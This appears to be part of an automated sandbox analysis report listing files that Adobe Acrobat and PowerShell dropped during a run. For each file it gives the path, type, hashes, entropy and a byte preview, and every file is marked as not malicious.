SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJfbPtdPeUkwRe9:YvXKXF8II0YpW7JGDV8Ukee9
MD5:	4C0A03680F97963034423718C253B408
SHA1:	34DB47B90E0923D4D6D09A18A77567BCDB6B7A49
SHA-256:	30809CF9D843BEC0C996EEE1B9D31DF996D7015FBEC4F2DFD26CCFD31F32CB0E
SHA-512:	C69506A9E3AC0594A24B8AFD1CED58B7BC2410B41234FC6F2ED035C992CC57C2BEE0B3E0C614F6779D53304188F25DF41DE6F2739A63678C8E46654D1800B841
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.250651155146251
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJf21rPeUkwRe9:YvXKXF8II0YpW7JG+16Ukee9
MD5:	5F8854EB540B1AD81F7D89423EB2152C
SHA1:	4C679EB90BECFC0AA2E7EA73560F1EE4640B6FC9
SHA-256:	3CA32EA91B5534DE2B8A7C4C75DBF13E93C14C040753EF30ACAB0A17EC9E0D75
SHA-512:	1532C4BE9C112CF2FD3E68F8333876C0DFD15AFD698F48545900B753F712779FF4A22F8FB428D1C693FAF88E3FA6F84B692A3ACA6D5CA0D5153714ADF15C54F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655064586652329
Encrypted:	false
SSDEEP:	24:Yv6Xt+iSamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSo1:YvEZsBgkDMUJUAh8cvMi
MD5:	CE53CB2A247C9BA5C12315D531C77F93
SHA1:	D451267E956798B9DEE76DA79EFB6B1DB5A755E5
SHA-256:	EFFDFB75FE1442C3A9DD1D47A02E7F2A08D34DE87074AE341140EC7965FE5BA8
SHA-512:	E4F8BA4F46480398831BB27CB7AB97E183790AECC36FC253D3C94FB9F047C73F96EBF0E2A8761AAD307FA322E06BFEC27EF99ECF2C1CC95D7309BFA883044415
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.224300835494597
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJfshHHrPeUkwRe9:YvXKXF8II0YpW7JGUUUkee9
MD5:	BED08BECF14C4CBDB021F93B7708CA72
SHA1:	BB68F1CA9CDBBFE2F5E906B761270AC340497B3B
SHA-256:	AA5DFAE48AA6D3CF60D938AED5EE5A0E8D1E26077C0AFB96E519615AF1BEAEDC
SHA-512:	DB9037CD00925EC31C0832A1BB505DAD33882E788974011713DBE7577FB96F6907E2E3FF35F6360BF6CDDFD2D2197D18A2E0EE44ED3D5DA16E4FB536F4843C74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.236506298049744
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJTqgFCrPeUkwRe9:YvXKXF8II0YpW7JGTq16Ukee9
MD5:	7FE938F8D6489B09C4EF86A6CB4D9DF7
SHA1:	5C004F6885CDF88B6D3D0EFA9B90059E2F809A09
SHA-256:	B18948124C0BD53ACAF5657DD00C60F7066C3E1DC5983CE29053DB842D1F49AB
SHA-512:	203DBEE74566908706C4612F40880C5E5F33E9AA3D3E4B6024BA7C94A7DF75B30C680D724568C691FE1E4B8DC34A00D1BFDD172BCA11CE65EDF67F0F558992D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138195453566617
Encrypted:	false
SSDEEP:	24:Y3gLXaiqay7S2yrrLNtAxjw7PD0HZjloLj0Sv4T2tfMT2LSBCxKknwUuc56BHc96:Yr+LjAGD0tloniMMT3jknwU1c8926W/t
MD5:	7A14E9802CC4E614520848F8629C7B37
SHA1:	F93D88FC8E734073A792D3D4D0A491A4FFD3B2B0
SHA-256:	7C5164B60A95BB41490D6DA6B1813A46389964C6C464C6667978539E9FC4D831
SHA-512:	094FD452F15ECFC6D88F528CFCFA6A56620AC995DB61E06A00D399C641F2CEBA602C8382435541A6AB80C2DBE6DCD43E7A1E23468A1EB50350BAF66CDCCF9B42
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"badad50f7f4b1e2640aeb9d1178e2913","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736542123000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c46f803fd20256ca70a3448d35118d06","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736542123000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d83f106f57ac5a154e01a20afca80cdb","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736542123000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3823203e0b1e40e46b2b831eba8e0474","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736542123000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"7b63668d1cd4286d038825ed338b1849","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736542123000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"33118cdbaf4cc2f0821190a2e6a0dd3b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9869694730150506
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpXQ04zJwtNBwtNbRZ6bRZ4aQ0F:TVl2GL7ms6ggOVpXWzutYtp6PNX
MD5:	3843D601E8B7FFE7042C8A468D3BB8B0
SHA1:	22975DB7D89D9963CCBC2F4F33C7AC896D11157B
SHA-256:	D3182771AAAEA37DAE4D2FF0CAA1095BF990D259F511D03A0B2C7F49B82C8488
SHA-512:	202A1CAE8423C7342F7309C569305130199AB3730273839D59CB44D6E1C54FCC1B49840CA517AA6D6FB1280729E8E676CE590278F9E2A369CB7FC3ECB4D986D9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3418257469785848
Encrypted:	false
SSDEEP:	24:7+t4AD1RZKHs/Ds/SpXQ0PzJwtNBwtNbRZ6bRZWf1RZKuqLBx/XYKQvGJF7ursh:7M4GgOVpXNzutYtp6PMPqll2GL7msh
MD5:	D4229EA53EC7D43C22809A669A46013A
SHA1:	ADBC517EEA9D73B9857FF816F475438639FFA1C4
SHA-256:	71769D994EA0E0C4A9F7DD1435050A3AD689DDFFAB06718FFDBD1CDAB69399B8
SHA-512:	DC44DF87BD8FF6EB0981ACEF1558C76610B8F16350B8C56EF79B0D8FA4D141B04A5CFBC786A72C65A37F06917C6D6BF99BAF9595BA5A16DA4B929559E2CF4417
Malicious:	false
Preview:	.... .c.....!.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg8XleS7lQbawjttJbr1FwGlLYyu:6a6TZ44ADE8Xlv7abaoyCLK
MD5:	3AE56978D1BC972FE02B268996865805
SHA1:	619B6BC1EC19BA243EC60791F0BFB75A3536CCD7
SHA-256:	472BCEB38DCF26613BF3F7C26FD18168048FF336A0A805C43BFE49ED5149EC65
SHA-512:	6A61D09A2BE50466B5465160879C4EC6512AA8DF8DF3F9B9DDE22D459EABD2C10733AEFD2824A1FA228ECE85560F345B2C59CB5E290A9948496A48AFD4FC5CF5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI16610.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.518261198325562
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE8v:Qw946cPbiOxDlbYnuRK+bD0
MD5:	5BAC81A81BAF17AF66346287AECF5C63
SHA1:	683FB3D1323AB179DF1462DA59B6C798BE154540
SHA-256:	C2B5AB472A172063E9A4DA81D9C02E90856E7C9C569B6E14DBA1EEFE054E9349
SHA-512:	EB817EE1A07E7C1AA03B7CB502F37638809DDD458F7275B44903C729A1610975CFC449B24E5DE48EBEEDC2A03D05D96AEB429D73814DE3A0E9A5F277EBB738DB
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.4.8.:.4.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nqcmq1sp.s5d.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p1b1k0ez.q40.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-48-39-092.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.334339972970438
Encrypted:	false
SSDEEP:	384:yg0F0Eowys39dD/UuucG1e819daFIx2WrY7uCwo/OIeeEbg2xJCFQPsPCbiEYloy:0r6i
MD5:	EB127F8D95B20DB6367C640B2FD4CF46
SHA1:	1F3E7832ADDD5C79D54CABC7E0B5F791253FE6B1
SHA-256:	4D07E208D68C1CC01560477706E7014258D2B33DB5FBF4E10C64122674181F39
SHA-512:	12E25DA4CC1F3E006C721E1376C43203976DFE13515207D75B043475F924E5B41E5833D4B7B732BE98229252E93A904F3A396C4D8D72C2F1A3267617EABF550B
Malicious:	false
Preview:	SessionID=18e73ec6-3b21-4033-9473-9494ed126feb.1736542119103 Timestamp=2025-01-10T15:48:39:103-0500 ThreadID=7600 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=18e73ec6-3b21-4033-9473-9494ed126feb.1736542119103 Timestamp=2025-01-10T15:48:39:110-0500 ThreadID=7600 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=18e73ec6-3b21-4033-9473-9494ed126feb.1736542119103 Timestamp=2025-01-10T15:48:39:110-0500 ThreadID=7600 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=18e73ec6-3b21-4033-9473-9494ed126feb.1736542119103 Timestamp=2025-01-10T15:48:39:110-0500 ThreadID=7600 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=18e73ec6-3b21-4033-9473-9494ed126feb.1736542119103 Timestamp=2025-01-10T15:48:39:110-0500 ThreadID=7600 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398473248962791
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbL:44
MD5:	01719575D3DCE93EB6AF5D95F74C8E56
SHA1:	AD0AE4D0406C44BF1937446218A79A6D8A304A41
SHA-256:	D33197348B99A7272D083582C83F97137D71349D9374E34389DD2CB130EBE9A7
SHA-512:	03574F6390E44B24C0F5A024956648A12FC17F3969B55728576263CF0044C6A562A3424938812F666B56D3F609843861D8794D468042CDED4676DF4653CBC774
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1bcf553f-201f-4796-a32f-b17c372d6924.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\2e8ecd0d-ca99-4361-9aeb-847a0ab8b3e9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3d88ad4c-f2ef-4212-a898-c9f196d9cb68.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
